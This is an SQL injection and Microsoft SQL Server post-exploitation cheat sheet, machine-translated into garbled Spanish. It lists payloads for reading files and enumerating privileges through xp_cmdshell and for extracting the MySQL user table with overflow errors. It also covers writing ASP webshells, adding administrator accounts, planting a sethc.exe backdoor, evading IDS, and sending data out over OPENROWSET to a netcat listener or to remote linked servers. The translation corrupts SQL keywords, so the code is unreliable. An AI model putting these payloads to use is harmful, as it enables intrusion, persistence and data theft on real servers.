Fusiona las pulgadas en la tabla de temperatura ; insertar en el master.dbo.xp_blank>_cmdshell de TEMP(ID) Exec Tipo C:\web\index.asp; – Ver un archivo
Contenido ; insertar en temp(id) executive master.dbo.xp_blank>_cmdshell dir c:\; – ; insertar en temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs ENUM W3svc ; Inserta en temp(id,num1) ejecutive master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Autoridad Aplicable
PÚBLICO) Escribe a la mesa: sentencia 1: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(sysadmin)); – Afirmación 2: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(serveradmin)); – Afirmación 3: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(setupadmin)); – Declaración 4: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(securityadmin)); – Declaración 5: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(securityadmin)); – Declaración 6: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(administrador de disco)); – Afirmación 7: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(bulkadmin)); – Declaración 8: y 1=(Seleccionar IS_blank>_SRVROLEMEMBER(bulkadmin)); – Afirmación 9: y 1=(Seleccionar IS_blank>_MEMBER(db_blank>_owner)); –
Escribe el camino hasta la tabla: ; Create Table dirs(paths varchar(100), id int)– ; Insertar dirs Exec master.dbo.xp_blank>_dirtree c:\– y 0<>(selecciona los caminos top 1 de las dirs)– y 0<>(selecciona los caminos top 1 de las dirs donde los caminos no están en(@Inetpub))– ; Create Table dirs1(paths varchar(100), id int)– ; insertar dirs ejecutiva master.dbo.xp_blank>_dirtree e:\web– y 0<>(selecciona los caminos top 1 de dirs1)–
Haz una copia de seguridad de _blank> base de datos en un directorio web: Descarga ; declarar @a nombre de sistema; conjunto @a=db_blank>_name(); Copia de seguridad de la base de datos @a a disco=E:\web\down.bak; –
y 1=(Seleccionar el nombre top 1 de(Seleccionar id top 12, nombre desde sysobjects donde xtype=char(85)) T
Orden por ID Desc) y 1=(Seleccionar Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) de sysobjects) Véase también
Tablas relacionadas. y 1=(seleccionar user_blank>_id de USER_blank>_LOGIN) y 0=(seleccionar usuario de USER_blank>_LOGIN donde usuario>1)
-=- wscrip{filter}t.shell ejemplo -=- declara @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out ejecutiva sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
declara @o int, @f int, @t int @ret int declarar @line varchar (8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, OpenTextFile, @f Out, C:\boot.ini, 1 Exec @ret = sp_blank>_oamethod @f, readline @line out while( @ret = 0 ) Comienzo Imprimir @line Exec @ret = sp_blank>_oamethod @f, readline @line out fin
declara @o int, @f int, @t int @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") %) %>
declara @o int, @ret int ejecutivo sp_blank>_oacreate speech.voicetext, @o fuera ejecutiva sp_blank>_oamethod @o, registradora, NULL, foo, bar sp_blank>_oasetproperty @o ejecutiva, velocidad, 150 exec sp_blank>_oamethod @o, habla, NULL, todos tus servidores secuelas pertenecen a, us, 528 esperaespera retraso 00:00:05
; declara @o int, @ret int ejecutiva sp_blank>_oacreate speech.voicetext, @o out executive
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, habla, NULL, todos tus servidores secuelas son nuestros, espera de 528 de espera
00:00:05–
xp_blank>_dirtree el permiso PÚBLICO aplicable ejecutive master.dbo.xp_blank>_dirtree c: La información retornada tiene dos campos: subdirectorio, profundidad. Campos de subdirectorio
El tipo de personaje, el campo de profundidad es el campo de moldeo. Create Table dirs (paths varchar(100), id int) La tabla creada aquí está relacionada con la xp_blank>_dirtree anterior, con campos iguales y del mismo tipo. insertar dirs ejecutive master.dbo.xp_blank>_dirtree c: Siempre que construyamos una tabla y definamos los campos devueltos por el proceso de almacenamiento por igual
¡Ejecutad! Para lograr el efecto de escribir tablas, ¡paso a paso para conseguir la información que queremos! Esta inyección de errores se basa principalmente en el desbordamiento del tipo de datos Mysql mysql > SELECT 18446744073709551610 * 2 ; ERROR 1690 (22003): El valor BIGINT SIN SIGNO está fuera de rango en '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; ERROR 1690 (22003): BIGINT VALOR SIN SIGNO está fuera de rango en '(- (1) *
9223372036854775808)' Versión de la base de datos de consulta: mysql> SELECT * 2 (si ((SELECT * de (SELECT (versión ()) ) s), 18446744073709551610,
18446744073709551610)); ERROR 1690 (22003): El valor BIGINT SIN SIGNO está fuera de rango en '(2 * si (( Seleccionar ' 5.5 'de
Dual), 18446744073709551610.18446744073709551610))' Obtén el nombre del campo: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) como '' límite 1)>(SELECT * de
test.shop límite 1), 18446744073709551610, 18446744073709551610);
ERROR 1690 (22003): El valor BIGINT UNSIGNED está fuera de rango en '(2 * if(((select
'artículo', 'distribuidor', 'precio' de (selecciona 'prueba'.'tienda'.'artículo' AS
'artículo', 'prueba'.'tienda'.'distribuidor' COMO 'distribuidor', 'prueba'.'tienda'.'precio' COMO 'precio' de
'prueba'.'tienda') límite 1) > (select
'prueba'.'tienda'.'artículo', 'prueba'.'tienda'.'distribuidor', 'prueba'.'tienda'.'precio' de 'prueba'.'tienda' límite
1)),18446744073709551610,18446744073709551610))' Obtén el valor del campo:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) como '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ERROR 1690 (22003): El valor BIGINT UNSIGNED está fuera de rango en '(2 * if(((select
'localhost', 'root', '*', 'y', 'y', 'y', 'y', 'y', 'y', 'y', 'y', 'y', 'y', '
Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '0', ', '', DE LÍMITE DUAL 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Ten en cuenta que este método no funciona con versiones anteriores de Mysql, y necesitarás conocer el límite de longitud del mensaje de error, ya que esto lo determinará
Puedes conseguir todo el tiempo que quieras: mysys / my_error.c
/* Longitud máxima de un mensaje de error. Debería mantenerse sincronizado con MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Si el objeto es MariaDB (una bifurcación de Mysql), puede que veas un mensaje de error como este al probar el método anterior:
mysql> SELECT 2*(if((SELECT * de (SELECT (versión()))), 18446744073709551610,
18446744073709551610)) ERROR 1690 (22003): El valor BIGINT UNSIGNED está fuera de rango en '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Como solución, este problema puede resolverse de la siguiente manera:
mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a; ERROR 1690 (22003): El valor BIGINT está fuera de rango en '(('5.5-MariaDB' no es nulo) - -
(9223372036854775808))' Ahora veamos si podemos hacer nuestro Vector un poco más corto
//查询数据库版本
SELECT 2*(if((SELECT * de (SELECT (versión())))), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I IS NOT NULL) - -9223372036854775808 DESDE (SELECT (versión())i)a = select if(x,2,2)*1E308 de(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) como '' límite 1)>(SELECT * de
test.shop límite 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*de(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) como '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| anfitrión|| password|| file_priv from(select*from mysql.user LIMIT
1) un límite 1),2,2)
//获取字段个数
selecciona 1E308*if((select*de mysql.User límite 1)>(selecciona 1),2,2)
Algunas otras deformaciones
SELECT (I IS NOT NULL) - -9223372036854775808 DESDE (SELECT (versión())i)a select 1E308*if((select user|| anfitrión|| password|| file_priv from(select*from mysql.user LIMIT
1) un límite 1),2,2); => select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> select (select * from mysql.user)=1; mysql> select (select * from mysql.user)in(1);
ERROR 1241 (21000): El operando debe contener 42 columnas select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); select if((select user|| anfitrión|| password|| file_priv de(select*from mysql.user LIMIT 1)a
límite 1),2,2)*1E308 SELECT (I IS NOT NULL) - -9223372036854775808 DESDE (SELECT (versión())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; ERROR 1690 (22003): BIGINT UNSIGNED value está fuera de rango en '((not('root@localhost')) - ~
(0))' 3. Juzgar el sistema de bases de datos ; y (select count(*) from sysobjects)>0 mssql ; y (select count(*) de msysobjects)>0 acceso 4. El parámetro de inyección es un carácter 'y [criterios de consulta] y ''=' 5. No hay parámetros filtrados durante la búsqueda 'y [criterios de consulta] y '%25'=' 6. Adivinar la base de datos ; y (seleccionar Count(*) de [nombre de la base de datos])>0 7. Adivina el campo ; y (seleccionar Conteo(nombre del campo) desde el nombre de la base de datos)>0 8. Adivina la longitud del disco en el campo ; y (seleccionar el 1 LEN superior (nombre del campo) del nombre de la base de datos)>0 9. (1) Adivinar el valor ASCII del campo (acceso) ; y (selecciona top 1 ASC(nombre de medio(1,1)) del nombre de la base de datos)>0 (2) Adivinar el valor ASCII del campo (mssql) ; y (seleccionar unicode top 1(substring(nombre del campo, 1,1)) del nombre de la base de datos)>0 10. Estructura de permisos de prueba (mssql) ; y 1=(seleccionar IS_SRVROLEMEMBER('sysadmin')); -- ; y 1=(seleccionar IS_SRVROLEMEMBER('serveradmin')); -- ; y 1=(seleccionar IS_SRVROLEMEMBER('setupadmin')); -- ; y 1=(seleccionar IS_SRVROLEMEMBER('securityadmin')); -- ; y 1=(select IS_SRVROLEMEMBER('diskadmin')); -- ; y 1=(seleccionar IS_SRVROLEMEMBER('bulkadmin')); -- ; y 1=(seleccionar IS_MEMBER('db_owner')); -- 11. Añadir una cuenta para mssql y el sistema ; nombre de usuario master.dbo.sp_addlogin ejecutivo; -- ; exec master.dbo.sp_password null, nombre de usuario, contraseña; -- ; nombre de usuario de administrador de sistemas master.dbo.sp_addsrvrolemember ejecutivo; -- ; Exec master.dbo.xp_cmdshell 'Usuario de la red Usuario contraseña /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; Ejecutivo master.dbo.xp_cmdshell 'Usuario de usuario de la red contraseña /add'; -- ; EXEC master.dbo.xp_cmdshell 'Administrador de grupo local de la red nombre de usuario /add'; -- 12. (1) Recorrer el catálogo ; Create Table dirs (paths varchar(100), id int) ; Insertar directores ejecutivos master.dbo.xp_dirtree 'c:\' ; y (selecciona los caminos principales de las directoras)>0 ; y (selecciona los caminos top 1 de las dirs donde los caminos no están en ('rutas obtenidas del paso anterior')))>) (2) Recorrer el catálogo ; crear la temperatura de la tabla (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; insertar ejecutivo temporal master.dbo.xp_availablemedia; -- Consigue todos los discos de corriente ; insertar en temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obtener una lista de subdirectorios ; insertar en temp(id,num1) ejecutivo master.dbo.xp_dirtree 'c:\'; -- Obtener la estructura del árbol de directorios para todos los subdirectorios ; insertar en el ejecutivo de temp(id) master.dbo.xp_cmdshell 'tipo c:\web\index.asp'; -- Ver el contenido del archivo 13. Procedimientos almacenados en mssql xp_regenumvalues Clave raíz del registro, clave hija ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' y más
método de conjuntos de registros para devolver todos los valores clave xp_regread Clave raíz, clave hija, nombre clave-valor ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' devuelve el valor de la clave de formulación xp_regwrite Clave raíz, clave hija, nombre de valor, tipo de valor, valor Existen dos tipos de valores REG_SZ REG_DWORD para los tipos de carácter y para los enteros ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' están escritos en el registro xp_regdeletevalue Clave raíz, subclave, nombre del valor ejecutiva xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' para eliminar un valor xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' clave,
Incluye todos los valores bajo esa clave 14. La copia de seguridad de MSSQL crea un webshell Modelo de uso crear tabla cmd(imagen STR); insertar en cmd(str) valores ('<% Dim oscrip{filter}t %>'); Copia de seguridad del modelo de base de datos en disco='c:\l.asp'; 15. Funciones integradas de MSSQL ; y (selecciona @@version)>0 para obtener el número de versión de Windows ; y user_name()='dbo' para determinar si el usuario conectado del sistema actual es SA ; y (select user_name())>0 Explotaron los usuarios conectados del sistema actual ; y (selecciona db_name())>0 para obtener la base de datos conectada actualmente 16. Webshell conciso Modelo de uso crear tabla cmd(imagen STR); insertar en cmd(str) valores ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c").stdout.readall%>'); Copia de seguridad del modelo de base de datos en disco='g:\wwwtest\l.asp'; Cuando solicites, usa algo así:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Obtén todos los nombres de bases de datos, incluidas las bases de datos del sistema –SELECT nombre FROM master.dbo.sysdatabases
– Obtener todos los nombres de bases de datos que no sean del sistema –selecciona [name] de master.dbo.sysdatabases donde DBId>6 Ordena por [Nombre]
– Obtén toda la información, incluida la dirección del archivo de la base de datos –select * de master.dbo.sysdatabases donde DBId>6 Order by
[Nombre]
Esta consulta de sentencia devuelve todas las tablas de usuario
seleccionar * de sysobjects donde xtype='u'
Consulta toda la información de la tabla de datos en el sistema
Seleccionar * de sysobjects
Mira el nombre de la máquina select * de sys.servers
Índice de columnas Ejecutivo master.dbo.xp_subdirs 'C:\'
master.dbo.xp_dirtree ejecutivo 'c:',1,1 db_owner Se pueden hacer cumplir permisos
ejecutiva master.dbo.xp_dirtree 'c:/Program Files',1,1
Código de programa, escrito para webshell
Ejecutivo master.dbo.xp_subdirs 'D:\web\www.xx.com'; sp_makewebtask ejecutivo 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB")%>"
ejecuta al maestro... xp_enumgroups
Usuarios del sistema de recorrido
ejecuta al maestro... xp_getnetname Obtén el nombre actual de la máquina
--Enumera los discos fijos en el servidor, junto con el espacio disponible para cada disco Público de DBO
ejecutar
xp_ntsec_enumdomains
-- Crea una cuenta para iniciar sesión en MSSQL Ejecutivo master.dbo.sp_addlogin nombre, Pass; --
-- Listar el nombre de dominio del servidor xp_ntsec_enumdomains // Nombre de máquina //dbo public
-- Para o inicia un servicio xp_servicecontrol 'stop', 'schedule' //schedule es el nombre del servicio //dbo
--Usar pid
Detener un programa en ejecución xp_terminate_process 123 //123 es el pid //dbo
-- Solo se listan los subdirectorios en un directorio dbo.xp_subdirs 'C:' //dbo
SQL Server El método de apertura del xp_cmdshell en 2005 EXECUTIVE sp_configure 'mostrar opciones avanzadas', 1; RECONFIGURAR; EJECUTIVO
sp_configure 'xp_cmdshell', 1; RECONFIGURAR;
SQL2005 Abrir 'OPENROWSET' Métodos soportados: sp_configure ejecutivo 'mostrar opciones avanzadas', 1; RECONFIGURAR; ejecutivo sp_configure 'Ad Hoc
Consultas Distribuidas',1; RECONFIGURAR;
SQL2005 para habilitar el soporte 'sp_oacreate': sp_configure ejecutivo 'mostrar opciones avanzadas', 1; RECONFIGURAR; Ejecutivo
sp_configure 'Procedimientos de automatización antiguos',1; RECONFIGURAR
Cómo habilitar xp_cmdshell en SQL Server 2008
-- Para permitir que se modifiquen las opciones avanzadas. EJECUTIVO
sp_configure 'mostrar opciones avanzadas', 1 VETE -- Para actualizar el valor configurado actualmente para
Opciones avanzadas. RECONFIGURAR VETE -- Para activar la función. EJECUTIVO sp_configure 'xp_cmdshell', 1 VETE --Para
Actualiza el valor configurado actualmente para esta función. RECONFIGURAR VETE
exec xp_cmdshell 'ipconfig'
Hoy quería cambiar la contraseña de acceso de acceso al servidor de base de datos, pero de repente se me olvidó, así que tuve que abrir el analizador de consultas con la ayuda de otras cuentas para cambiar la contraseña del usuario
Es muy sencillo:
Ejecución: sp_password Null, 'teracypwd', 'sa' Establecer la contraseña de SA a "teracypwd"
Tras la ejecución exitosa
Existe "Comando(s) completado(s) con éxito." ¡De acuerdo!
En el permiso de la base de datos, separa el método para obtener la IP del servidor de base de datos MSSQL
1. El NC local escucha NC -VVLP 80
2.; Insertar en
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Dirección=tu IP, 80; ', 'select * from
dest_table') seleccionar * de src_table; --
select * desde openrowset
('sqloledb','server=125.110.145.130,6789; UID=SA; pwd=zhu','select user; ')
Importación y exportación de bases de datos
/*不同服务器数据库之间的数据操作*/
--Crear servidor de enlace sp_addlinkedserver ejecutivo
'ITSV', 'SQLOLEDB', 'Nombre o dirección IP del servidor remoto' ejecutivo sp_addlinkedsrvlogin 'ITSV', 'falso
',null, 'nombre de usuario', 'contraseña'
--ejemplo de consulta select * de ITSV.database name.dbo.table name
--ejemplo de importación select *
en la tabla desde ITSV.databasename.dbo.tablename
--Elimina el servidor vinculado si en el futuro ya no se usa ejecutivo sp_dropserver 'ITSV',
'droplogins'
-- Conexión a datos remotos/LAN (openrowset/openquery/opendatasource) --1、RowSet abierto
--ejemplo de consulta select *
from openrowset( 'SQLOLEDB', 'nombre del servidor SQL'; 'Nombre de usuario'; 'password', nombre de la base de datos.dbo.nombre de la tabla)
-- Generar una tabla local seleccione * en la tabla desde openrowset( 'SQLOLEDB', 'nombre del servidor SQL'; 'Nombre de usuario'; 'Contraseña', número
Según el nombre de la base de datos.dbo. nombre de la tabla)
-- Importar la tabla local a la tabla remota inserta openrowset( 'SQLOLEDB', 'nombre del servidor SQL'; 'Nombre de usuario'; 'Contraseñas', bases de datos
nombre.dbo.nombre de la tabla) seleccionar *de la tabla local
-- Actualizar tablas locales Actualización B establecer b. columna A = a from openrowset( 'SQLOLEDB', 'nombre del servidor SQL'; 'Nombre de usuario'; '
contraseña ', nombre de base de datos .dbo.nombre de tabla) como una tabla local de unión interna B en a.columna1=b.columna1
--openquery El uso requiere crear una conexión
--Primero, crea una conexión para crear un servidor de enlaces ejecutivo sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'nombre de servidor remoto o dirección IP' --Pregunta select * FROM OpenQuery(ITSV, 'SELECT * FROM datos
library.dbo.table name ') -- Importar la tabla local a la tabla remota insertar openquery(ITSV, 'SELECT * FROM database.dbo.table name') seleccionar * de local
Tabla --actualizar tabla local Actualización B conjunto b. columna B=a DESDE openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
como tabla local de unión interna b en a. columna A=b. columna A
--3、OpenDataSource/OpenRowSet SELECT * DE
opendatasource( 'SQLOLEDB', 'Data Source=ip/NombreServidor; ID de usuario=Nombre de acceso; Contraseña=Contraseña '
).test.dbo.roy_ta -- Importar la tabla local a la tabla remota
Eliminación y restauración de xp_cmdshell
Formas de recuperarse xp_cmdshell Elimina el procedimiento almacenado extendido xp_cmdshell
Enunciado Ejecutivo sp_dropextendedproc 'xp_cmdshell'
Recuperar la sentencia sql de cmdshell sp_addextendedproc xp_cmdshell ejecutivo ,@dllname ='xplog70.dll'
Ejecutivo
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Select count(*) de
master.dbo.sysobjects donde xtype='x' y El resultado de la devolución es 1 y está bien
Si no, tienes que subir c:\inetput\web
\xplog70.dll luego master.dbo.sp_addextendedproc ejecutivo 'xp_cmdshell', c:\inetput\web\xplog70.dll
’; --
Si lo eliminas de la siguiente manera Procedimiento de caída sp_addextendedproc Procedimiento de caída sp_oacreate Ejecutivo
sp_dropextendedproc 'xp_cmdshell'
Puedes restaurarlo con la siguiente afirmación DBCC addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
De este modo, puede restaurarse directamente, independientemente de si sp_addextendedproc existe o no
1、 Usa xp_cmdshell: Ejecutivo master.dbo.xp_cmdshell "administrador administrador de usuarios de la red / añadir" Ejecutivo
master.dbo.xp_cmdshell "administradores de grupos locales de la red admin /add"
En xp_cmdshell caso, utiliza sp_oacreate para seguir sp_oamethod: declara @object int Ejecutivo
sp_oacreate 'wscrip{filter}t.Shell', @object out sp_oamethod ejecutivo
@object,'Run',NULL,'administrador de usuario net/add' exec sp_oamethod @object,'Run',NULL,'net
localgroup Administradores admin /add'
Nota: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Usa sp_oacreate y FSO declara @o int sp_oacreate ejecutivo
'scrip{filter}ting.filesystemobject', @o out exec: sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; declara @oo int Ejecutivo
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out sp_oamethod @oo ejecutivo,
'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Usa xp_regwrite (db_owner, reinicio necesario): master.dbo.xp_regwrite ejecutivo
'hkey_local_machine'', 'software\microsoft\windows\currentversion\
run','eadd1','reg_sz','administrador de usuarios de la red admin /add' master.dbo.xp_regwrite ejecutivo
'hkey_local_machine'', 'software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Usa sp_add_job: Ejecutivo
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Usa el sp_delete_job ejecutivo de MSDB
null,'x' Ejecutivo sp_add_job 'X' sp_add_jobstep ejecutiva
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' sp_add_jobserver ejecutivo
Null, 'x', @@servername ejecutiva sp_start_job 'x'
Muchos SA han tenido éxito en muchas máquinas usando directamente el modo sandbox, pero yo nunca lo he practicado y no sé cuál es la tasa de éxito. Cuando se elimina la extensión, primero
Restaura el almacenamiento de lectura y escritura en el registro. DBCC addextendedproc ('xp_regread','xpstar.dll') DBCC addextendedproc
('xp_regwrite'', 'xpstar.dll')
Corregido el modo protegido del sandbox Maestro ejecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet
\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; --
Comprueba si el valor de 'SandBoxMode' ha pasado a 0.
ejecutivo master.dbo.xp_regread 'HKEY_LOCAL_MACHINE''SOFTWARE
\Microsoft\Jet\4.0\Motores', 'SandBoxMode'
Por último, llama al modo sandbox selecciona * de OpenRowSet('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
Si el modo de protección sandbox no está "apagado", se informa de un error: Servidor: Msg 7357, Nivel 16, Estado 2, Línea 1
No se gestionó el objeto 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB ofrece programas
El prefacio 'microsoft.jet.oledb.4.0' indica que no hay columnas en el objeto.
Seguimiento de errores OLE DB [Error no de interfaz: proveedor OLE DB incapaz de procesar objetos, ya que el objeto
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
usuario passwd /add")']。
2、 Si el .mdb no existe o el camino de entrada es incorrecto Servidor: Msg 7399, Nivel 16, Estado 1, Línea 1
Error del proveedor OLE DB 'microsoft.jet.oledb.4.0'. [Mensaje devuelto del proveedor OLE/DB:
Archivo 'C:\WINDOWS\system32\ias\dnary1.mdb' no encontrado. ]
Rastreo de error OLE DB [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ]。
3. Si hay más espacios durante el proceso de entrada, también se reportará un error. Presta especial atención a esto, mucha gente busca directamente artículos en línea
Pégalo y ejecutalo. Servidor: Msg 7357, Nivel 16, Estado 2, Línea 1 No se ha procesado el objeto 'select
shell("cmd.exe /c net user user passwd /add")'。 El proveedor de OLE DB 'microsoft.jet.oledb.4.0' indica que no hay columnas en el objeto.
Seguimiento de errores en OLE DB [Error no de interfaz: Proveedor OLE DB incapaz de procesar objetos, ya que el objeto tiene
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Si los permisos de MDB y cmd.exe son incorrectos, el problema también ocurrirá. Cuando los permisos de MDB son incorrectos, Servidor: Eliminar
Interés 7320, Nivel 16, Estado 2, Línea 1
No podía responder El proveedor OLE DB 'Microsoft.Jet.OLEDB.4.0' ejecuta la consulta. [Proveedor OLE/DB devuelto
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Si el permiso de red es incorrecto, no hay aviso.
La última forma de aumentar la autoridad es subir los ias.mdb y cmd.exe del sistema bajo el directorio web actual, net.exe tres archivos.
Ejecutar select * desde openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe usuario usuario paswd /add")') Añadir con éxito a un usuario de ordenador.
La división de cmdshell evita IDS declare @a sysname set @a='xp_'+'cmdshell' ejecutive @a 'ipconfig' declarar
@a sysname set @a='xp'+'_cm'+'dshell' ejecutivo @a 'dir c:\'
Editar shift de secuestro de registro Maestro ejecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe en'; --
Consulta el linkserver escoger
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,acceso a datos desde master.dbo.sysservers escoger
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,acceso a datos desde master.dbo.sysservers
Consulta linkserver2 selecciona nombre de host distinto,db_name(dbid),net_address,loginame,program_name de
Maestro... sysprocesos
Consulta el linkserver y otros usuarios registrados select * de [192.168.1.1].master.dbo.syslogins
Consultar linkserver Todas las bases de datos select * de linkedSrvWeb.master.dbo.sysdatabases
Realizar almacenamiento extendido en LinkServer ejecutiva [IP].master.dbo.xp_cmdshell
Consulta todas las tablas en el linkserver Seleccione * desde [IP].master.dbo.sysobjects
select * desde openrowset
('sqloledb','server=IP; uid=usuario; pwd=password', 'select @@version')
select * de openquery([LINKSERVER
nombre], 'seleccionar @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
select * desde openquery(GM_SERVER,'select * desde sysobjects donde xtype = (''U'')')
select * de
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
Selecciona * desde OpenQuery(ToatDeWeb,'Select
srvname de master.dbo.sysservers')
Insertar en OpenDataSource
('sqloledb','server=222.241.95.12; UID=SCD; PWD=A123520; database=hack520').hack520.dbo.zhu select
nombre de master.dbo.sysdatabases crear base de datos hack520 Crear TABLA zhu(nombre nvarchar(256)
nulo); Create TABLE J8(id int NULL, name nvarchar(256) null);
select * desde openquery
(toatdeweb, 'configurar fmtonly fuera de ejecutiva master.dbo.xp_cmdshell ''usuario de internet'')
Maestro ejecutivo... xp_dirtree
'c:\',1,1 Realiza un directorio de consultas
ejecutivo enlaces.master.. xp_cmdshell 'ipconfig'
select * desde openquery(toatdeweb,'set
fmtonly fuera de exec master.dbo.xp_cmdshell ''ipconfig /all'')
Conecta mysql Select * desde Mem_DB. UserDB.dbo.AdminList
MAESTRO EJECUTIVO... XP_dirtree 'c:\',1,1
Ejecutivo
master.dbo.xp_cmdshell 'dir'
Select count(*) de [indicar] Consulta cuántos datos hay en la tabla actual
selecciona nombre de host distinto,db_name(dbid),net_address,loginame,program_name
De parte del maestro... sysprocesos
Seleccione * de gameDB01. Server01.dbo.cabal_character_table donde nombre='
Cerdo'
Cuando lo eliminas, dice: La base de datos se está usando y no puede ser eliminada.
Haz clic en la base de datos que quieres eliminar para abrir el Visor de Eventos.
Entrada:
Uso
Maestro ¡Ve Luego introduce lo siguiente: declarar @d varchar(8000) conjunto @d= ' ' selecciona @d=@d+ ' matar
